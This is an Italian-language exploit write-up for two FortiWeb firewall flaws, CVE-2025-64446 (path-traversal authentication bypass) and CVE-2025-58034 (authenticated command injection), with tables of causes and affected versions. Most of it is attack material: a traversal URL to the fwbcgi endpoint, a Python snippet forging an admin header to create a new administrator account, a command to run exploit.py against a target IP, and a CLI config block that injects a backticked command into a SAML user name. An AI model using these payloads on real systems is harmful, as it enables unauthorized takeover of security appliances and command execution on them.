
Vulnerabilità CVE-2025-64446 & CVE-2025-58034
FortiWeb è un dispositivo Web Application Firewall (WAF) utilizzato per proteggere le applicazioni web.
Nel 2025, sono state scoperte due vulnerabilità critiche:
| Voce | Contenuto |
|---|---|
| Tipo di vulnerabilità | Path Traversal relativo Bypass dell'autenticazione |
| Causa | FortiWeb gestisce i percorsi in modo non rigoroso prima dell'autenticazione: - Controllo degli accessi basato su stringa di percorso logico - Non normalizza completamente il percorso - Consente l'uso di ../ per accedere a risorse interne |
| Descrizione | Alcuni endpoint amministrativi possono essere accessibili senza autenticazione valida |
| Impatto | - Bypass completo dell'autenticazione - Accesso non autorizzato a funzioni admin - Rottura del modello di autorizzazione |
| Versioni interessate | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
Esempio:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Ciò aiuta a evitare conflitti di versione delle librerie, garantire la stabilità dell'ambiente di lavoro e limitare l'impatto sul sistema.

Payload:
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Eseguire lo strumento con Python3:
python3 exploit.py <IP_target>
<IP_target>: L'indirizzo IP qui è il nome host del dispositivo FortiWeb.
Ottenuti username e password -> procedere con il login

Sfruttamento riuscito e creato un nuovo account con privilegi di amministratore.
Dopo aver effettuato l'accesso con il nuovo account amministratore, l'attaccante può sfruttare la vulnerabilità di iniezione di comandi autenticata tramite richieste appositamente create o direttamente tramite l'interfaccia a riga di comando di FortiWeb CLI:
config user saml-user
edit "`id`" ## inserire comando qui
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb uscirà dalla stringa di configurazione ed eseguirà il comando id durante la configurazione di saml-user.
| Voce | Contenuto |
|---|
| Tipo di vulnerabilità | OS Command Injection (CWE-78) |
| Causa | FortiWeb gestisce l'input in modo non sicuro durante l'esecuzione di comandi di sistema: - Nessuna validazione dell'input - Mancanza di escape dei caratteri speciali - Dati utente passati direttamente in comandi di sistema |
| Descrizione | La vulnerabilità richiede autenticazione ma consente l'iniezione di comandi di sistema |
| Impatto | - Esecuzione di comandi indesiderati - Accesso a risorse di sistema - Compromissione di integrità e disponibilità |
| Versioni interessate | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |